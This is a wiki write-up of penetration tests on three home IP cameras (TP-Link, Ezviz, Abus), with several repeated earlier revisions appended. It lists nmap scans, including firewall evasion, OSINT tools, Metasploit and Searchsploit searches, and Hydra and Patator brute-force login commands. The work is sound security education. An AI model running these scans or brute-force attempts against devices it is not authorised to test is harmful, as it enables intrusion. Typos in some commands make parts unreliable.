The OWASP Top 10 is a standard awareness document that represents a broad consensus about the most critical security risks to web applications.
This includes the following top 10 IOT vulnerabilities: weak passwords, insecure network services, insecure ecosystem interfaces, lack of secure update mechanism, use of insecure or outdated components, insufficient privacy protection, insecure data transfer and storage, lack of device management, insecure default settings and lack of physical hardening. 
These elements should be considered: IoT device, cloud, mobile application, network interfaces, software, use of encryption, use of authentication, physical security, and USB ports.
Suppose you have an IP camera installed and you want to log in remotely to monitor your home situation. Such a simple implementation poses many risk factors and creates a huge attack surface in the environment. An attacker could remotely scan for a vulnerability in an IP camera, brute force, connect (if you have a blackdoor or the same hard-coded SSH key), and exploit it.


*Vulnerability Analysis
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.

*Exploitation
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase. Exploitation can be software, shellcode, certain command, code injection, remote exploit without any prior access, and local exploit with prior access to the system. 

*Post Exploitation
After successful exploitation, it's far crucial to report all steps and tools - so that you can demonstrate the impact and possible consequences of the vulnerabilities to the client.

*Reporting
Providing a complete report with deep evaluation and suggestions on the way to mitigate the found vulnerabilities. It consists of two parts: An executive summary and a technical report. The executive summary provides a background overview, test overview, risk profile, general findings, an overview of the tasks required to mitigate the problem, and short-term and long-term goals to improve security increase.
It is important to document how easy it was to find this vulnerability and what the countermeasures are. The risk analysis is the most important part because the pentester needs to consider how high the risk of the detected vulnerabilities is and how these vulnerabilities could affect the company.
These results are used to make company decisions that can have a significant impact on the company.
The technical report details the intelligence collection and vulnerability testing results, and the client's internet footprint.


*Resolution & Re-Testing
 The client follows the recommendations and after completing patching the vulnerabilities a re-test is run. 

=== Set-up ===

You need to set up the camera together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.
We recommend that you create a virtual machine and after that, you need to install Kali Linux on your VM. With this operating system, many tools are already pre-installed and ready to use.

=== Scanning Tools ===

Nmap 
Nmap Scans will give you important information about the target system.

Target specification:
$sudo nmap <target IP> Scan a single IP

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:Firstscan.jpg | 400px]] || [[File:Firstscan ezviz.jpg | 400px]] || [[File:Firstscan abus.png | 400px]]
|}

DNS query on a specific host:
$sudo namp -sL <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:Dsn tplink.jpg |400px]] || [[File:Dsn ezviz.png | 400px]] || [[File:Dns abuss.png | 400px]]
|}

Force reverse DNS resolution:
$sudo nmap -R <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:Dns-reverse-tplink.png | 400px]] || [[File:Dnsreverse-ezviz.jpg | 400px]] || [[File:Dns-reverse-abus.png | 400px]]
|}

Perform an aggressive scan and service version detection:
$sudo nmap -sV -A <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:Agscan tplink.png | 400px]] || [[File:Agscan-evziz.png | 400px]] || [[File:Agscan abus.png | 400px]]
|}

Scan TCP/UDP ports:
$sudo nmap <target IP> -sT TCP connect port scan (Default without root privilege)
$sudo nmap <target IP> -sU UDP port scan

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:tcp-tplink.png | 400px]] || [[File:tcp-evziz.png | 400px]] || [[File:Tcp-abus.png | 400px]]
|}

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:udp-tplink.png | 400px]] || [[File:udp-e.png | 400px]] || [[File:udp-abus.png | 400px]]
|}

Host discovery and port scan:
$sudo nmap <target IP> -sn Disable port scanning. Host discovery only
$sudo nmap <target IP> -Pn Disable host discovery. Port scan only (If the host is down)

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:sn-tplink.png | 400px]] || [[File:sn-e.png | 400px]] || [[File:sn-abus.png | 400px]]
|}

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:pn-tplink.png | 400px]] || [[File:pn-e.png | 400px]] || [[File:pn-abus.png | 400px]]
|}

Port Specification:
$sudo nmap <target IP> -p- Scan all ports

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:port-tpp.png | 400px]] || [[File:port-e.png | 400px]] || [[File:port-abus.png | 400px]]
|}

OS Detection:
$sudo nmap <target IP> -O Remote OS detection using TCP/IP

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:o-tplink.png | 400px]] || [[File:o-e.png | 400px]] || [[File:o-abus.png | 400px]]
|}

FIN-scan:
$sudo nmap <target IP> -sF Scanner sends FIN segments

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:sf-tplink.png | 400px]] || [[File:sf-e.png | 400px]] || [[File:sf-abus.png | 400px]]
|}

Firewall Evasion Technique:
$sudo nmap -f <target IP> augment packets 

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:f-tplink.png | 400px]] || [[File:f-e.png | 400px]] || [[File:f-abus.png | 400px]]
|}

Use a set of scripts from the /usr/share/nmap/scripts/ directory:
$sudo nmap -sV --script $SCRIPT <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:script-tplink.png | 400px]] || [[File:script-e.png | 400px]] || [[File:script-abus.png | 400px]]
|}

Aggressive Scan:
$sudo nmap -Pn -sS -sV -version-all --reason -v -A -O --osscan-guess <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:scan-tplink.png | 400px]] || [[File:scan-e.png | 600px]] || [[File:scan-abus.jpg | 600px]]
|}

Spiderfoot 
Spiderfoot uses various modules to collect information and it can collect information about the target host through the scanning options available in the Spiderfoot Framework.
$spiderfoot -l <target IP>:<target Port>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:spiderfoot-tplink.png | 400px]] || [[File:spiderfoot-e.png | 800px]] || [[File:spiderfoot-abus.jpg | 800px]]
|}

Dmitry 
Dmitry Tool can be used to search subdomains of the target, find open ports of the target system, perform TCP scan, find operating system information, web server details, web host details, hosting service details, registered domain, name, address, the contact information of the person who registered it, find email addresses that are associated with the domain of the target.
$dimitry -p -l <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:dmitry-tplink.png | 400px]] || [[File:dmitry-e.png | 400px]] || [[File:dmitry-abus.jpg | 400px]]
|}

The Harvester 
With the Harvester, you can gather information like emails, subdomains, hosts, employee names, open ports, and banners from different public sources like search engines, PGP key servers, and SHODAN computer database.

$theHarvester -d <target IP> -l 1000 -b google

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:harvester-tplink.png | 400px]] || [[File:harvester-e.png | 400px]] || [[File:harvester-abus.jpg | 400px]]
|}

HackerEnv 
HackerEnv is an automated tool developed in the Bash language that quickly performs port scans, scans target IP addresses for vulnerabilities, and retrieves exploits to form the Searchsploit utility.
$git clone https://github.com/abdulr7mann/hackerEnv.git
$cd hackerEnv
$chmod +x hackerEnv
$bash hackerEnv -t <target IP>

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:hacker-tplink.png | 400px]] || [[File:hacker-e.png | 400px]] || [[File:hacker-abus.jpg | 800px]]
|}

Legion 
Legion works with a GUI which can perform automatic recon and scanning with NMAP, whataweb, nikto, Vulners, Hydra, SMBenum, dirbuster, sslyzer, webslayer, and more (with almost 100 auto-scheduled scripts). It is already installed on Kali Linux 2022.2.

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:legion-tplink.jpg.png | 400px]] || [[File:legion-e.png | 400px]] || [[File:legion-abuss.jpg | 400px]]
|}

Nessus 
Nessus is a special software, so-called vulnerability scanner, that inspects systems for security gaps and vulnerabilities. It can be used to identify local and remote vulnerabilities, to audit configuration and compliance, verify default credentials, and scan web applications.
 
$sudo dpkg -i <Nessus deb file>
$/bin/systemctl start nessusd.service
go to https://kali:8834/ to configure the scanner

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:nessus-tplink.png | 200px]] || [[File:nessus-e.png | 400px]] || [[File:nessus-abus2.png | 600px]]
|}

Wireshark 
Wireshark is a protocol analyzer. It is an essential tool for safety experts or gadget administrators. It is used to investigate the shape of various community protocols and has the ability to illustrate applications.

{| class="wikitable"
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:wireshark-tplink.png | 400px]] || [[File:wireshark-ev.png | 800px]] || [[File:wireshark-abus.png | 800px]]
|}

=== Exploitation Tools ===
Metasploit 
Test your camera for security gaps with the help of the framework provided by Metasploit.
You can use the various exploits collected by the framework to perform various security and penetration tests on your distributed target system.
The attack method (exploit) and the executed code (payload) are separated.
Exploits need to be specially tuned for various security gaps in software and hardware.
This code is used when the attack method is successful and can break into or compromise the system.

msf6 > search <open port protocol> Search for exploits of open ports

{| class="wikitable"
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C
|-
| [[File:metasploit-tplink.png | 400px]] [[File:ssl-tplink.png | 400px]] || [[File:metasploit-rtsp.png | 600px]]
|}

Searchsploit 
The SearchSploit utility is a local copy of the Exploit Database and it searches this database to find exploits for various software and services found during the penetration testing phase. You can also use this utility to inspect an exploit and make a copy that you can modify for use on a particular host.

$searchsploit <open port protocol> Search for exploits of open ports

{| class="wikitable"
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C
|-
| [[File:searchsploit-abyss.png | 400px]] || [[File:searchspoit-rtsp.png | 400px]]
|}

Hydra and Patator 
Hydra and Patator are login crackers that support numerous attack protocols. These tools make it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. They are used to brute-force usernames and passwords to different services such as ftp, ssh, telnet, MS-SQL, etc.
 
You can access the wordlist in a directory by using the below command.
$cd /usr/share/wordlists

$hydra <Target_IP> ssh -l <username> -P <password_file> -s 22 -vV to brute-force SSH username and password
$hydra -L <username_file> -P <password_file> ftp://<Target_IP> to brute-force FTP username and password
$hydra -l <username> -p <password> telnet://<Target_IP> to brute-force Telnet username and password

{| class="wikitable"
|-
! TP-link Kasa Cam Smart Home Camera KC120 !! Ezviz CS-C1C !! Abus PPIC32020
|-
| [[File:hydra-tplink.png | 400px]] || [[File:ssh-e.png | 600px]] || [[File:ssh-abus.jpg | 800px]]
|}

$patator rdp_login host=<target IP> user=FILE0 0=<username_file> password=FILE1 1=<password_file> -x ignore:code=131

{| class="wikitable"
! TP-link Kasa Cam Smart Home Camera KC120
|-
| [[File:patator.png | 400px]]
|}

=== Report ===
All three cameras have motion and audio detection capabilities, and the app will notify you when motion is detected. Live video is also possible.
TP-Link saves the data for user registration and communication with external cloud services from Amazon Web Services, Inc. (410 Terry Avenue North, Seattle WA 98109, United States; "AWS"), and Evziz uses its own Evziz Cloud.
Unlike Abus and Evziz, you cannot store data on a MicroSD card on the kasa cam. All bits of the video are protected by industry-standard 128-bit AES encryption using SSL / TLS.
EZVIZ Cloud provides a dual encryption solution that covers both server-side and client-side encryption, so data transmission between the device and the cloud is encrypted end-to-end. It also advises users to make sure that the data is stored on the physical device in encrypted form. This reduces the risks associated with unauthorized access of data to physical devices. All cameras use the WiFi connection protocol which supports WEP and WPA / WPA2 encryption.

The scan tools has detected four open ports on TP-Link's with the service abyss and cirrossp. The Evziz camera had four open ports running RTSP, http-alt, trivnet1, and sdr services.
The Abus camera had no open ports, only the MAC address was displayed.
TP-Link uses TCP as traceroute, Evziz uses ICMP and Abus uses broadcast.
 
The final Nmap scan on Kasa Cam showed that the device type is a webcam. Nmap is guessing that the Garmin Embedded is running on the camera. The OS CPE is cpe:/h:/garmin:virb_elite and it has to be a Garmin Virb Elite action camera. Using Evziz Cam, Nmap thinks that the operating system Linux is probably running on the camera.

The exploit tools did not detect abyss and cirrossp exploits. The RTSP protocol on the Evziz camera had several exploits, but none of them has led to remote access. The login crackers could not infer login data. Based on these results, we would advise our client not to take new security measures.

== Used Hardware ==

* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]

== References ==

* https://wiki.owasp.org/index.php/Main_Page
* https://tools.kali.org/tools-listing
* https://nmap.org/
* https://www.spiderfoot.net/
* https://www.kali.org/tools/dmitry/
* https://github.com/laramies/theHarvester
* https://github.com/abdulr7mann/hackerEnv
* https://govanguard.com/legion/
* https://www.tenable.com/downloads/nessus?loginAttempted=true
* https://www.kali.org/tools/wireshark/
* https://www.metasploit.com/
* https://www.speedguide.net/ports.php
* https://www.exploit-db.com/
* https://github.com/vanhauser-thc/thc-hydra
* https://github.com/lanjelot/patator

[[Category:Pentesting]]

IOT Security: Pentesting on IP Cameras

2022-06-13T09:20:54Z

RCox: /* Requirements */

== Summary ==

This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.

== Requirements ==

Operating System
* Kali Linux 2022.2
Hardware
* TP-link Kasa Cam Smart Home Camera KC120
** Encryption: 128-Bit-AES, WPA/WPA2-PSK
** Storage: Amazon Web Services (AWS) Cloud
* Ezviz CS-C1C
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK
** Storage: EZVIZ cloud and/or MicroSD
* Abus PPIC32020
** Encryption: AES 128bit, WPA/WPA2-PSK
** Storage: MicroSD
Apps
* Kasa Smartphone application (IOS or Android)
* Ezviz Smartphone application (IOS or Android)
* ABUS App2Cam Plus Smartphone application (IOS or Android)

== Description ==

A penetration test can be divided into several stages:

*Planning
Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement. 

*Gathering Information
Collecting and examing key data approximately the software and its infrastructure. 

*Discovering Vulnerabilities
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.

*Exploitation
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.

*Reporting
Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities.

=== Planning ===

You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.

=== Scanning ===

Target Specification:
$sudo nmap 192.168.8.103 Scan a single IP

Enables OS detection, version detection, script scanning, and traceroute:
$sudo nmap -sV -A 192.168.8.103

Scan TCP/UDP Ports:
$sudo nmap 192.168.8.103 -sT TCP connect port scan (Default without root privilege).
$sudo nmap 192.168.8.103 -sU UDP port scan.

Host Discovery and Port Scan:
$sudo nmap 192.168.8.1/24 -sn Disable port scanning. Host discovery only.
$sudo nmap 192.168.8.1-254 -Pn Disable host discovery. Port scan only. (If the host is down)

Port Specification:
$sudo nmap 192.168.8.103 -p- Scan all ports

OS Detection:
$sudo nmap 192.168.8.103 -O Remote OS detection using TCP/IP

=== Step 2 ===

== Used Hardware ==

* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]

== References ==

* https://tools.kali.org/tools-listing

[[Category:Pentesting]]

IOT Security: Pentesting on IP Cameras

2022-06-13T09:20:20Z

RCox: /* Description */

== Summary ==

This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.

== Requirements ==

Operating System
* Kali Linux 2022.2
Hardware
* TP-link Kasa Cam Smart Home Camera KC120
** Encryption: 128-Bit-AES, WPA/WPA2-PSK
** Storage: Amazon Web Services (AWS) Cloud
* Ezviz CS-C1C
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK
** Storage: EZVIZ cloud or/and MicroSD
* Abus PPIC32020
** Encryption: AES 128bit, WPA/WPA2-PSK
** Storage: MicroSD
Apps
* Kasa Smartphone application (IOS or Android)
* Ezviz Smartphone application (IOS or Android)
* ABUS App2Cam Plus Smartphone application (IOS or Android)

== Description ==

A penetration test can be divided into several stages:

*Planning
Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement. 

*Gathering Information
Collecting and examing key data approximately the software and its infrastructure. 

*Discovering Vulnerabilities
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.

*Exploitation
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.

*Reporting
Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities.

=== Planning ===

You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.

=== Scanning ===

Target Specification:
$sudo nmap 192.168.8.103 Scan a single IP

Enables OS detection, version detection, script scanning, and traceroute:
$sudo nmap -sV -A 192.168.8.103

Scan TCP/UDP Ports:
$sudo nmap 192.168.8.103 -sT TCP connect port scan (Default without root privilege).
$sudo nmap 192.168.8.103 -sU UDP port scan.

Host Discovery and Port Scan:
$sudo nmap 192.168.8.1/24 -sn Disable port scanning. Host discovery only.
$sudo nmap 192.168.8.1-254 -Pn Disable host discovery. Port scan only. (If the host is down)

Port Specification:
$sudo nmap 192.168.8.103 -p- Scan all ports

OS Detection:
$sudo nmap 192.168.8.103 -O Remote OS detection using TCP/IP

=== Step 2 ===

== Used Hardware ==

* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]

== References ==

* https://tools.kali.org/tools-listing

[[Category:Pentesting]]

IOT Security: Pentesting on IP Cameras

2022-06-13T09:16:54Z

RCox: /* Description */

== Summary ==

This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.

== Requirements ==

Operating System
* Kali Linux 2022.2
Hardware
* TP-link Kasa Cam Smart Home Camera KC120
** Encryption: 128-Bit-AES, WPA/WPA2-PSK
** Storage: Amazon Web Services (AWS) Cloud
* Ezviz CS-C1C
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK
** Storage: EZVIZ cloud or/and MicroSD
* Abus PPIC32020
** Encryption: AES 128bit, WPA/WPA2-PSK
** Storage: MicroSD
Apps
* Kasa Smartphone application (IOS or Android)
* Ezviz Smartphone application (IOS or Android)
* ABUS App2Cam Plus Smartphone application (IOS or Android)

== Description ==

A penetration test can be divided into several stages:

*Planning
Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement. 

*Gathering Information
Collecting and examing key data approximately the software and its infrastructure. 

*Discovering Vulnerabilities
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.

*Exploitation
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.

*Reporting
Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities.

=== Planning ===

You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.

=== Scanning ===

Target Specification
$sudo nmap 192.168.8.103 Scan a single IP

Enables OS detection, version detection, script scanning, and traceroute
$sudo nmap -sV -A 192.168.8.103

Scan TCP/UDP Ports
$sudo nmap 192.168.8.103 -sT TCP connect port scan (Default without root privilege)
$sudo nmap 192.168.8.103 -sU UDP port scan

Host Discovery and Port Scan
$sudo nmap 192.168.8.1/24 -sn Disable port scanning. Host discovery only.
$sudo nmap 192.168.8.1-254 -Pn Disable host discovery. Port scan only. (If the host is down)

Port Specification
$sudo nmap 192.168.8.103 -p- Port scan all ports

OS Detection
$sudo nmap 192.168.8.103 -O Remote OS detection using TCP/IP

=== Step 2 ===

== Used Hardware ==

* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]

== References ==

* https://tools.kali.org/tools-listing

[[Category:Pentesting]]

IOT Security: Pentesting on IP Cameras

2022-06-13T09:14:06Z

RCox: /* Requirements */

== Summary ==

This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.

== Requirements ==

Operating System
* Kali Linux 2022.2
Hardware
* TP-link Kasa Cam Smart Home Camera KC120
** Encryption: 128-Bit-AES, WPA/WPA2-PSK
** Storage: Amazon Web Services (AWS) Cloud
* Ezviz CS-C1C
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK
** Storage: EZVIZ cloud or/and MicroSD
* Abus PPIC32020
** Encryption: AES 128bit, WPA/WPA2-PSK
** Storage: MicroSD
Apps
* Kasa Smartphone application (IOS or Android)
* Ezviz Smartphone application (IOS or Android)
* ABUS App2Cam Plus Smartphone application (IOS or Android)

== Description ==

A penetration test can be divided into several stages:

*Planning
Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement.

*Gathering Information
Collecting and examing key data approximately the software and its infrastructure.

*Discovering Vulnerabilities
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.

*Exploitation
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.

*Reporting
Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities.

=== Planning ===

You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.

=== Scanning ===

Target Specification
$sudo nmap 192.168.8.103 Scan a single IP

Enables OS detection, version detection, script scanning, and traceroute
$sudo nmap -sV -A 192.168.8.103

Scan TCP/UDP Ports
$sudo nmap 192.168.8.103 -sT TCP connect port scan (Default without root privilege)
$sudo nmap 192.168.8.103 -sU UDP port scan

Host Discovery and Port Scan
$sudo nmap 192.168.8.1/24 -sn Disable port scanning. Host discovery only.
$sudo nmap 192.168.8.1-254 -Pn Disable host discovery. Port scan only. (If the host is down)

Port Specification
$sudo nmap 192.168.8.103 -p- Port scan all ports

OS Detection
$sudo nmap 192.168.8.103 -O Remote OS detection using TCP/IP

=== Step 2 ===

== Used Hardware ==

* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]

== References ==

* https://tools.kali.org/tools-listing

[[Category:Pentesting]]

IOT Security: Pentesting on IP Cameras

2022-06-13T09:13:54Z

RCox: /* Requirements */

== Summary ==

This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.

== Requirements ==

Operating System
* Kali Linux 2022.2
Hardware
* TP-link Kasa Cam Smart Home Camera KC120
** Encryption: 128-Bit-AES, WPA/WPA2-PSK
** Storage: Amazon Web Services (AWS) Cloud
* Ezviz CS-C1C
** Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK
** Storage: EZVIZ cloud or/and MicroSD
* Abus PPIC32020
** Encryption: AES 128bit, WPA/WPA2-PSK
** Storage: MicroSD
 
Apps
* Kasa Smartphone application (IOS or Android)
* Ezviz Smartphone application (IOS or Android)
* ABUS App2Cam Plus Smartphone application (IOS or Android)

== Description ==

A penetration test can be divided into several stages:

*Planning
Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement.

*Gathering Information
Collecting and examing key data approximately the software and its infrastructure.

*Discovering Vulnerabilities
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.

*Exploitation
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.

*Reporting
Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities.

=== Planning ===

You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.

=== Scanning ===

Target Specification
$sudo nmap 192.168.8.103 Scan a single IP

Enables OS detection, version detection, script scanning, and traceroute
$sudo nmap -sV -A 192.168.8.103

Scan TCP/UDP Ports
$sudo nmap 192.168.8.103 -sT TCP connect port scan (Default without root privilege)
$sudo nmap 192.168.8.103 -sU UDP port scan

Host Discovery and Port Scan
$sudo nmap 192.168.8.1/24 -sn Disable port scanning. Host discovery only.
$sudo nmap 192.168.8.1-254 -Pn Disable host discovery. Port scan only. (If the host is down)

Port Specification
$sudo nmap 192.168.8.103 -p- Port scan all ports

OS Detection
$sudo nmap 192.168.8.103 -O Remote OS detection using TCP/IP

=== Step 2 ===

== Used Hardware ==

* [https://www.tp-link.com/de/home-networking/cloud-camera/kc120/ TP-Link Kasa Smart Home Camera KC120]
* [https://www.ezviz.com/product/c1c/1425 Ezviz CS-C1C]
* [https://www.abus.com/eng/Home-Security/Video-Surveillance/Surveillance-cameras/WLAN-network-cameras/WLAN-pan-tilt-cameras/ABUS-Smart-Security-World-Wi-Fi-Pan-Tilt-Indoor-Camera Abus PPIC32020]

== References ==

* https://tools.kali.org/tools-listing

[[Category:Pentesting]]

IOT Security: Pentesting on IP Cameras

2022-06-13T09:13:15Z

RCox: /* Requirements */

== Summary ==

This is a documentation on pentesting (information gathering and vulnerability scans) performed on TP-link Kasa Cam Smart Home Camera KC120, Ezviz CS-C1C and Abus PPIC32020.

== Requirements ==

Operating System
* Kali Linux 2022.2
Hardware
* TP-link Kasa Cam Smart Home Camera KC120
** Encryption: 128-Bit-AES, WPA/WPA2-PSK
** Storage: Amazon Web Services (AWS) Cloud
* Ezviz CS-C1C
Encryption: 64/128-bit WEP, WPA/WPA2, WPA-PSK/WPA2-PSK
 
Storage: EZVIZ cloud or/and MicroSD
* Abus PPIC32020
Encryption: AES 128bit, WPA/WPA2-PSK
 
Storage: MicroSD

 
Apps
* Kasa Smartphone application (IOS or Android)
* Ezviz Smartphone application (IOS or Android)
* ABUS App2Cam Plus Smartphone application (IOS or Android)

== Description ==

A penetration test can be divided into several stages:

*Planning
Working with a costumer to absolutely outline and report evaluation objectives, scope, and policies of engagement.

*Gathering Information
Collecting and examing key data approximately the software and its infrastructure.

*Discovering Vulnerabilities
Find current vulnerabilities and identify any potential security weaknesses that could allow an outside attacker to gain access to the environment.

*Exploitation
The pentester tries to establish a connection with the target and exploit the vulnerabilities found in the previous phase.

*Reporting
Providing a complete documentation with deep evaluation and suggestions on the way to mitigate the found vulnerabilities.

=== Planning ===

You need to set up the camera at home together with your phone app and allow it to connect with the identical WiFi that your smartphone uses.
To find out the IP Address of the camera you need to install scanning tools, that can gain access to devices in your subnet.

=== Scanning ===

Target Specification
$sudo nmap 192.168.8.103 Scan a single IP

Enables OS detection, version detection, script scanning, and traceroute
$sudo nmap -sV -A 192.168.8.103

Scan TCP/UDP Ports
$sudo nmap 192.168.8.103 -sT TCP connect port scan (Default without root privilege)
$sudo nmap 192.168.8.103 -sU UDP port scan

Host Discovery and Port Scan
$sudo nmap 192.168.8.1/24 -sn Disable port scanning. Host discovery only.
$sudo nmap 192.168.8.1-254 -Pn Disable host discovery. Port scan only. (If the host is down)

Port Specification
$sudo nmap 192.168.8.103 -p- Port scan all ports

OS Detection
